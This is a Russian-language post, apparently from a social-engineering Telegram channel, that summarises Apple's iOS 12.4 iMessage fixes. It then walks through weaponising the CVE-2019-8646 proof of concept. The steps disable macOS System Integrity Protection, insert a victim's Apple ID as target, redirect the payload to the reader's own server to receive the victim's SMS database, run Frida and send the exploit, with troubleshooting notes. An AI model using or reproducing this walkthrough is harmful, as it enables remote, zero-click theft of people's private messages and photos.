Эксплуатируем CVE 2019-8646
Social Engineering![](/file/77a8fd09691e59c2bccad.png)
Недавно разработчики Apple обновили iOS до версии 12.4, исправив в мобильной ОС сразу несколько уязвимостей. Одна из этих проблем, связанная с iMessage, позволяла удаленно и без участия пользователя читать файлы на iOS-устройствах.
Уязвимость получила идентификатор CVE-2019-8646 и была обнаружена еще в мае 2019 года специалисткой команды Google Project Zero Натали Сильванович (Natalie Silvanovich). PoC-эксплоит, уже продемонстрированный исследовательницей, работает только для устройств под управлением iOS 12 или более новых версий, и описан как «простая демонстрация достижимости класса в Springboard. Реальные последствия [эксплуатации] бага, скорее всего, будут куда серьезнее».
![](/file/4e1052b1aa05890f55955.jpg)
В багтрекере Google Project Zero Сильванович описывает проблему подробно и объясняет, что ошибка была связана с работой _NSDataFileBackedFuture.
Нужно сказать, что это не единственная серьезная уязвимость, исправленная в составе iOS 12.4. Так, Сильванович и ее коллега из Google Project Zero Сэмюэл Гросс (Samuel Groß) обнаружили еще две уязвимости, связанные с iMessage, помимо вышеописанной.
Первый баг (CVE-2019-8660) представлял собой уязвимость во фреймворке Core Data и позволял спровоцировать неожиданное завершение работы приложения или даже добиться выполнения произвольного кода на устройствах iPhone 5s или старше, iPad Air, iPod touch 6-го поколения или старше.
Второй баг (CVE-2019-8647) тоже был связан с Core Data и представлял собой use after free уязвимость. Это проблема та же позволяла выполнить произвольный код на iPhone 5s или старше, iPad Air, iPod touch 6-го поколения или старше.
![](/file/1b10174b5315836100cc3.png)
Эксплуатируем CVE 2019-8646
Сегодня я попытаюсь вам рассказать, как воспользоваться POC’ом от Natalie Silvanovich из команды Google Project Zero. Что можно сделать с помощью этого POC’a: в описание к CVE указывается, что у нас есть возможность получить доступ к содержимому смс-сообщений (речь про /var/mobile/Library/SMS/sms.db) и изображениям из фотогалереи устройства.
Краткая техническая информация по уязвимости:
- На каких версиях работает: 12.0.X*-12.3
- Идентификатор CVE 2019-8646
- Страница с описанием.
- Информация о патче.
- Демонстрация. ( Ютуб )
Итак, нам понадобится:
- Виртуальная машина на базе macOS версии Mojave (10.14);
- Смартфон Apple iPhone на котором будем тестировать эксп;
- Frida
Инструкция:
![](/file/1b10174b5315836100cc3.png)
1. Подготовка виртуальной машины.
После запуска ОС зажимаем клавиши Command+R/Windows+R и входим в консоль, затем прописываем "csrutil disable", и, тем самым отключаем "System Integrity Protection", который не позволит нам поставить hook на сервис с именем "imagent", который отвечает за работу приложений: FaceTime и iMessages.
![](/file/1b10174b5315836100cc3.png)
2. Подготовка сплойта
Перезагружаем нашу виртуалку, логинимся и скачиваем свежий POC https://bugs.chromium.org/p/project-zero/issues/detail?id=1858
Архив "messageleak.zip" должен иметь следующее содержимое:
MD5 (injectMessage.js) = d922afbf15661ce700f7cbf2cc660657 MD5 (myserver.py) = 3c78673f4953a078c75ce9ced903595d MD5 (obj_db) = f96f64ac54c4e2d667d2b0afff25dff9 MD5 (obj_imgdump) = fdc01461eb9f3b09781550e679710adb MD5 (sendMessage.applescript) = 074dc419a5383ebb3bb3d67f83798e0a MD5 (sendMessage.py) = f63b8869e818fdbccc8abab6cdba5a57 MD5 (uni.py) = 754ad573e3aeff1edab103e1fe5175c0
2.1. Правка "sendMessage.py":
В первую очередь, необходимо поправить скрипт "sendMessage.py", т.к. именно он содержит переменную "receiver" – Apple ID жертвы.
Вставляем почту или номер телефона вместо «TARGET»:
Меняем содержимое переменной "receiver":
receiver = "TARGET"
на:
receiver = “example@example.com"
2.2. Правка "injectMessage.js"
Тут надо понять, что мы будем забирать с устройства жертвы. Natalie Silvanovich рекомендует использовать нагрузку "obj_db" для получения SQLite-баз, а "obj_image" для "binary files (images)". В нашем случаем мы будем пытаться забрать базу смс-сообщений – нагрузка "obj_db".
Меняем содержимое переменной "d":
var d = ObjC.classes.NSData.dataWithContentsOfFile_("FULL PATH HERE/obj");
на
var d = ObjC.classes.NSData.dataWithContentsOfFile_("/Users/admin/Desktop/obj_db");
В нагрузке "obj_db" необходимо заменить домен "natashenka.party" на адрес к ваше серверу, который будет получать ответ с результатами работы экспа.
![](/file/1b10174b5315836100cc3.png)
3. Настройка Frida
Тут без особенностей, скачиваем с сайта "https://github.com/frida/frida/releases" бинарь с именем "frida-server-12.6.12-macos-x86_64.xz" и запускаем:
MD5 (frida-server-12.6.12-macos-x86_64.xz) = b58f4c7ed17c23a88e9a46620645f1d4
Команды:
$ chmod +x frida-server-12.6.12-macos-x86_64 $ ./frida-server-12.6.12-macos-x86_64 -l 0.0.0.0 -v
Ставим frida-tools:
$ sudo easy_install pip $ pip install frida-tools --user
4. Запуск сплойта
python sendMessage.py
В ходе работы скрипта, будут запросы на права доступа к приложению Message - надо все "разрешить". Ждем отстука на сервере и наслаждаемся результатом.
![](/file/1b10174b5315836100cc3.png)
Возможные ошибки.
1. Отсутствия контакта жертвы в адресной книги macOS:
sendMessage.applescript:219:252: execution error: Получена ошибка от «Messages»: Не удается получить buddy id "PlaceholderAccount:target". (-0000)
Решение: необходимо добавить контакт жертвы в адресную книгу.
2. Смарфон перезагружается после открытия сообщения - неверный путь к файлу
3. Полученный файл битый или маленький кусок от файла - сплойт очень нестабильный, что имеем :)
![](/file/1b10174b5315836100cc3.png)
Social Engineering - Канал посвященный психологии, социальной инженерии, профайлингу, НЛП, Хакингу, Анонимности и безопасности в сети интернет, Даркнету и все что с ним связано. Добро пожаловать ;-)
S.E.Book - Литература социального инженера.
@Social_Engineering_bot - Бот обратной связи.
![](/file/1b10174b5315836100cc3.png)